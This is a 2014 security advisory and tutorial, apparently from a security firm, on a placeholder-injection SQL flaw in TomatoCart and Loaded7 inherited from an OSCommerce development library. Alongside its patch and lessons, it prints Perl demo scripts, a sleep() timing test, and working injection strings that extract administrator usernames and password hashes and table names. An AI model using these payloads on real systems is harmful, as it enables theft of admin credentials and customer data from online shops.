Vulnerabilities

Exploiting Systemic Query Vulnerabilities: Why You Should Not Attempt to Re-invent PDO

Breaking Technology
August 25, 2014 by
Breaking Technology

The particular exploits in this article take advantage of systemic query factory vulnerabilities, vulnerabilities which exist throughout an entire application's SQL generation code, found in a deprecated version of OSCommerce's development/unstable tree (specifically version 3.0.3 alpha) that were implemented by other developers into their own product's stable tree. While systemic query factory vulnerabilities are not limited to this particular library or software, it serves as the best and most recent reminder that these vulnerabilities exist. The vulnerability allows an attacker to essentially inject their own bind parameter and execute the query using direct injection without the need for injection related characters, such as the apostrophe (single quote). This article will walk the reader through the concept of such an attack and two existing exploits in third party applications (not OSCommerce).

Concept

This may affect multiple language implementations of query structures. The idea is pretty simple. Typically an application will use find and replace to insert
sanitized data into an SQL query by its type. Imagine the following scenario:

Learn Vulnerability Management

Learn Vulnerability Management

Get hands-on experience with dozens of courses covering vulnerability assessments, tools, management and more.

$query = "select * from user where email=:email and password=:password";

$params = array('email' => $_POST['email'], 'password'=>$_POST['password']);

$results = $db->execute($query,$params);

Somewhere the values for :email and :password have to be translated to their proper values. If the database engine is not actual

PDO and simply PDO-like, we may have exploitable software on our hands. Suppose these values

are completely sanitized and wrapped in quotes afterwards by the query factory when they are translated.

  • A quick perl script to illustrate:

# Example args. Feel free to change.

my $email = @ARGV[0];

my $password = @ARGV[1];# Change this to whatever you want.

print "Email:tt$emailnPassword:t$passwordn";# Example Query:

my $query = "select * from users where email=:email and password=:password";

print "Query is:t$queryn";

$query = bindvar($query,'email',$email);

print "Query is:t$queryn";

$query = bindvar($query,'password',$password);

print "Query is:t$queryn";

sub bindvar {

my $query = shift;

my $var = shift;

my $value = shift;

$value =~ s/x27//g;

$query =~ s/[:]$var/x27$valuex27/g;

return($query);

}
  • You can run this and see the queries it generates by typing something like:
perl query.pl [emailaddr] [password]
  • Here is an example:
  # perl query.pl test@test.net p4ssw0rd

Email: test@test.net

Password: p4ssw0rd

Query is: select * from users where email=:email and password=:password

Query is: select * from users where email='test@test.net' and password=:password

Query is: select * from users where email='test@test.net' and password='p4ssw0rd'

  • But what happens if we supply a field name that is yet to be processed? Here we go:
  # perl query.pl :password " or 1=1 limit 1#"

Email: :password

Password: or 1=1 limit 1#

Query is: select * from users where email=:email and password=:password

Query is: select * from users where email=':password' and password=:password

Query is: select * from users where email='' or 1=1 limit 1#'' and password=' or 1=1 limit 1#'

Notice in the above that the quotes in the command line were just there to get the spaces, they didn't actually end up in the value of password. The quotes were
added automatically by the program! Let's look at a more practical or realistic example.

CVE-2014-3978: TomatoCart (Currently In the Wild)

Let's walk through the confirmation of the presence of the vulnerability and then the search for an implementation that we could easily use. First, download and
install tomatocart with its default settings and run:

  [user@host tomcart]# find -name *.php -exec grep -Hn =s*[:][a-zA-Z] '{}' ;|less
  • You should see a line immediately that looks like:
./redirect.php:29:

$Qcheck = $osC_Database->query('select products_url

from :table_products_description

where products_url = :products_url limit 1');

In this case, we probably can't exploit it, because :table_products_description is probably bound first and also a static value. We'll need to confirm that the
query engine is vulnerable as well, so lets see how variables are bound. We go to the file we just saw:

$Qcheck = $osC_Database->query('select products_url from :table_products_description

where products_url = :products_url limit 1');

$Qcheck->bindTable(':table_products_description', TABLE_PRODUCTS_DESCRIPTION);

$Qcheck->bindValue(':products_url', $_GET['goto']);

$Qcheck->execute();

We can determine that first it makes the query, then it uses bindTable() to bind something that has been define()'d. After this, it trusts

bindValue() to properly sanitize the $_GET variable. Additionally, there are no quotes wrapped around the :field in the database parameter,

meaning the software probably inserts them on its own.

  • Let's check this out further. Lets go look up the "bindValue" function:
  # find -name *.php -exec grep -Hn function bindValue '{}' ;

./includes/classes/database.php:369: function bindValueMixed($place_holder, $value, $type = 'string', $log = true) {

./includes/classes/database.php:404: function bindValue($place_holder, $value) {

  • So lets check out database.php line 404:

function bindValue($place_holder, $value) {

$this->bindValueMixed($place_holder, $value, 'string');

}

That's interesting. It just calls bindValueMixed() and says the variable is a string. Let's see what that function does. Our last grep just
told us we're looking for line 369 of the same file:

case 'string':

default:

$value = "'" . $this->db_class->parseString(trim($value)) . "'";

}

$this->bindReplace($place_holder, $value);

}

//....

It uses some kind of parseString() to sanitize along with trim(), then it wraps the value in quotes and runs

bindReplace($place_holder,$value), kind of like our perl script. Let's see what bindReplace() does (if you're following along in the code,

it's already in front of you right under the lines we just mentioned):

function bindReplace($place_holder, $value) {

$pos = strpos($this->sql_query, $place_holder);

if ($pos !== false) {

$length = strlen($place_holder);

$character_after_place_holder = substr($this->sql_query, $pos+$length, 1);

if (($character_after_place_holder === false)

|| ereg('[ ,)"]', $character_after_place_holder)) {

$this->sql_query = substr_replace($this->sql_query, $value, $pos, $length);

}

}

}

The first thing it does is grab the position of the placeholder in the string. Immediately after this, it checks to see what the character right after the

placeholder is. It wants it to be a comma, a space, or a close-parenthesis, or not exist at all. Well, that's no problem, because we'll be able to comment

that part out anyway. Read on!

To find an exploitable implementation of bindValue() I ran the following search. It'll bring a lot up, so be sure to use more or less
as appropriate:

  # find -name *.php -exec grep -Hn bindValue '{}' ; |less

And lo and behold, there's one with bindValue() being called line after line sequentially; there are many, many more!

  ./includes/classes/address_book.php:91: $Qab->bindValue(':entry_firstname', $data['firstname']);

./includes/classes/address_book.php:92: $Qab->bindValue(':entry_lastname', $data['lastname']);

Let's check this file out to make a quick PoC. Woah! Thats a huge insert query there in address_book.php! Lets throw it into our perl with some line breaks
for sanity!

my $firstname = @ARGV[0];

my $lastname = @ARGV[1];

print "First name:$firstnamenLast name:$lastnamenn";

my $query = "select * from user where email=:email and password=:password";

$query = 'insert into :table_address_book

(customers_id, entry_gender, entry_company, entry_firstname, entry_lastname, entry_street_address, entry_suburb,

entry_postcode, entry_city, entry_state, entry_country_id, entry_zone_id, entry_telephone, entry_fax)

values

(:customers_id, :entry_gender, :entry_company, :entry_firstname, :entry_lastname, :entry_street_address,

:entry_suburb, :entry_postcode, :entry_city, :entry_state, :entry_country_id, :entry_zone_id,

:entry_telephone, :entry_fax)';

print "Generating query from : $querynnn";

$query = bindvar($query,'entry_firstname',$firstname);

$query = bindvar($query,'entry_lastname',$lastname);

print "Generated query: $queryn";

sub bindvar {

my $query = shift;

my $var = shift;

my $value = shift;

$query =~ s/[:]$var/x27$valuex27/g;

return($query);

}

First let's try a sleep query. This is just something to see if it works for sure or not.

  # perl querytester.pl :entry_lastname, ',sleep(10),1,3,4,5,6,7,8,9,10)#'

First name::entry_lastname,

Last name:,sleep(10),1,3,4,5,6,7,8,9,10)#

Generating query from : insert into :table_address_book

(customers_id, entry_gender, entry_company, entry_firstname, entry_lastname, entry_street_address, entry_suburb,

entry_postcode, entry_city, entry_state, entry_country_id, entry_zone_id, entry_telephone, entry_fax)

values

(:customers_id, :entry_gender, :entry_company, :entry_firstname, :entry_lastname, :entry_street_address,

:entry_suburb, :entry_postcode, :entry_city, :entry_state, :entry_country_id, :entry_zone_id,

:entry_telephone, :entry_fax)

Generated query: insert into :table_address_book

(customers_id, entry_gender, entry_company, entry_firstname, entry_lastname, entry_street_address, entry_suburb,

entry_postcode, entry_city, entry_state, entry_country_id, entry_zone_id, entry_telephone, entry_fax)

values

(:customers_id, :entry_gender, :entry_company, '',sleep(10),1,3,4,5,6,7,8,9,10)#',', ',sleep(10),1,3,4,5,6,7,8,9,10)#', :entry_street_address,

:entry_suburb, :entry_postcode, :entry_city, :entry_state, :entry_country_id, :entry_zone_id,

:entry_telephone, :entry_fax)

I tried putting :entry_lastname, into the first name on the address book, and then ,sleep(10),1,3,4,5,6,7,8,9,10)# into the last name field.

Notice in the above that this ends up commenting out the comma we put after :entry_lastname anyway, "''#',''". When I put this in, it actually made the page

sleep for ten seconds. So, after I was "done" testing to see if sleep worked, I jumped into the mysql shell to see how the db was organized. Sure enough,

there was an admins table:

  mysql> desc toc_administrators;

+---------------+-------------+------+-----+---------+----------------+

| Field | Type | Null | Key | Default | Extra |

+---------------+-------------+------+-----+---------+----------------+

| id | int(11) | NO | PRI | NULL | auto_increment |

| user_name | varchar(32) | YES | | NULL | |

| user_password | varchar(40) | NO | | NULL | |

| user_settings | text | YES | | NULL | |

| email_address | varchar(96) | NO | | NULL | |

+---------------+-------------+------+-----+---------+----------------+

I noticed some of the numbers from my first query ended up displaying in the address book, so this gave me the idea to use two fields. Due to the size limitation on
the last name field, I had to find another field to extract the password hash into. My final query in the last name field was:

   ,(select user_name from toc_administrators order by id asc limit  1),(select user_password from toc_administrators order by id asc limit  1),3,4,5,6,7,8,9,10)#

I left the first_name field as ":entry_lastname," -- leaving the comma to satisfy "bindReplace()". Sure enough, I had my local admin password hash from when I
installed the cart!

It is important to note that this vulnerability is systemic. That is to say, any query in the application that receives multiple string inputs is vulnerable to this type of
attack. It is not limited exclusively to the first and last name fields during contact creation; this was simply the easiest thing to PoC.

CVE-2014-5140: CRELoaded aka Loaded7

After investigating the code in Tomatocart, I was able to determine that the vulnerable database code in question (the bindReplace() function) actually came from an

unstable version of OSCommerce's dev tree. Using this information I was able to find that Loaded7 was

also forked from the same version of

OsCommerce. This development version of OSCommerce has been updated to use real PDO and thusly is not vulnerable to this attack. For some reason, the database

library itself was taken from a snapshot in Loaded and Tomatocart, but not brought in from a repository. The library does not automatically update when the OsCommerce

developers update it on their end (improper use of revision control).

When we discovered that Loaded7 was in fact vulnerable to the same technique, we did a bit more digging. Sure enough, the same exploit works if you just change
the table prefix like so, as the query was basically the exact same:

 ,(select user_name from lc_administrators order by id asc limit  1),(select user_password from lc_administrators order by id asc limit  1),3,4,5,6,7,8,9,10)# 

In this particular instance, your contacts/address book never appears until you go to a checkout screen. You do NOT have to add a payment type. When you get to
the checkout screen, the shipping address will contain your injection data.

The loaded7 developers were notified on July 29th. They confirmed exploitability. We sent them a direct link to the

patch for tomatocart on github, which both vendors as of the time of this writing appear to

have ignored.

Taking it further

Non-standard table prefixes

In this instance, you will notice that successful exploitation to get an administrative credential requires that the table-prefix is default. Suppose it isn't default, what do
we do then? The answer is simple: we do an injection into the last name field that grabs a table name.

 ,(select table_name from information_schema.tables where  table_schema=database() limit 1),(select table_name from  information_schema.tables where table_schema=database() limit  1),3,4,5,6,7,8,9,10)#
  • Now that a table name is obtained, doctoring the exploit up isn't very difficult.

Weaponizing

Believe it or not, simply extracting an admin password hash isn't very weaponized. A more serious weapon would involve something that was capable of extracting an

administrative session ID or password reset token. Because we are a security company, we aren't going to release this type of exploit into the wild, but simply inform

the reader for educational purposes that such a thing is possible.

Patching

Let's take another look at the bindreplace function:

function bindReplace($place_holder, $value) {

$pos = strpos($this->sql_query, $place_holder);if ($pos !== false) {

$length = strlen($place_holder);

$character_after_place_holder = substr($this->sql_query, $pos+$length, 1);if (($character_after_place_holder === false)

|| ereg('[ ,)"]', $character_after_place_holder)) {

$this->sql_query = substr_replace($this->sql_query, $value, $pos, $length);

}

}

}

Looking carefully, this can be easily patched by html-encoding the colon character in the $value variable, like so:

function bindReplace($place_holder, $value) {

$pos = strpos($this->sql_query, $place_holder);

$val = str_replace(':',':',$value);

if ($pos !== false) {

$length = strlen($place_holder);

$character_after_place_holder = substr($this->sql_query, $pos+$length, 1);

if (($character_after_place_holder === false)

|| ereg('[ ,)"]', $character_after_place_holder)) {

$this->sql_query = substr_replace($this->sql_query, $val, $pos, $length);

}

}

}

Conclusion

To recap, we have several points of failure in the developers' judgement when writing these applications. First, the failure in the OSCommerce development tree when
trying to basically rewrite PDO themselves.

All of this can be prevented by using the PDO libraries already written for PHP (or implementing our patchsets on github), which

will properly sanitize input and prevent the attacker from overwriting variables in the address book form. The OSC developers have re-implemented this using PDO and

still have not marked this tree as 'stable', so it's hard to blame much of this on them, all things considered. Unfortunately, the fact that the code was developed to begin

with leads us directly into the second point of failure:

The second point of failure was in the decision made by the developers for both TomatoCart and LoadedCommerce to use another systems unstable code in their stable tree and discontinue the code's development.

The third point of failure is not using proper revision control. If the developers had simply implemented proper revision control, this vulnerability would have been

fixed in a much more timely manner without needing independent analysis-- as the OSCommerce code updates would have been implemented as soon as the

OSCommerce code was modified and committed.

In e-commerce applications specifically, these are more critical issues, as they can put entire customer databases (with payment information in many cases) at risk.

When writing your own software, remember the lessons we learned from this experience:

  1. Don't try to reinvent the wheel if it is already round (PDO-- The wheel is round!)
  2. When borrowing unstable (development mode) code, it is probably a bad idea to place it into your stable tree and discontinue its development.
  3. When borrowing code, use proper revision control so that borrowed code will be updated as the original authors update it unless you actually intend to modify it as part of your project.

It is always a good idea (but also many times impractical) to inspect the internals of any third-party libraries you use before trusting their external APIs and

input handling. This applies any time you develop software using a library that you didn't write. Failure to do so leads to many vulnerabilities going undetected for a very

long time (including the Heartbleed bug.)

The mantra of “it's so popular a thousand eyes must have already looked at it” is exactly the reason no one has actually looked at many of the applications and libraries
that the general community believes to be secure. If it were not so, Heartbleed would have very likely been discovered much, much sooner.

And a final note- advisories inherently mandate being on time. Both vendors in this instance have had ample time to implement a

5 minute fix and have thus far not

done so. In e-commerce applications, this is nearly unbelievable. When responsible for consumer data, one would think that new feature additions should be halted

in favor of securing existing features the moment a serious vulnerability report is received.

Learn Vulnerability Management

Learn Vulnerability Management

Get hands-on experience with dozens of courses covering vulnerability assessments, tools, management and more.

Please develop responsibly.

Related Links & References

Breaking Technology
Breaking Technology

Breaking Technology, Inc. is an information security company with a special focus on e-commerce and consumer protection dedicated to guiding developers and businesses in the direction of security and best practice. With each team member having at least 10 years of professional experience in the industry, Breaking Technology allows your employees to spend less time worrying about patching and more time developing the world's next generation of innovations.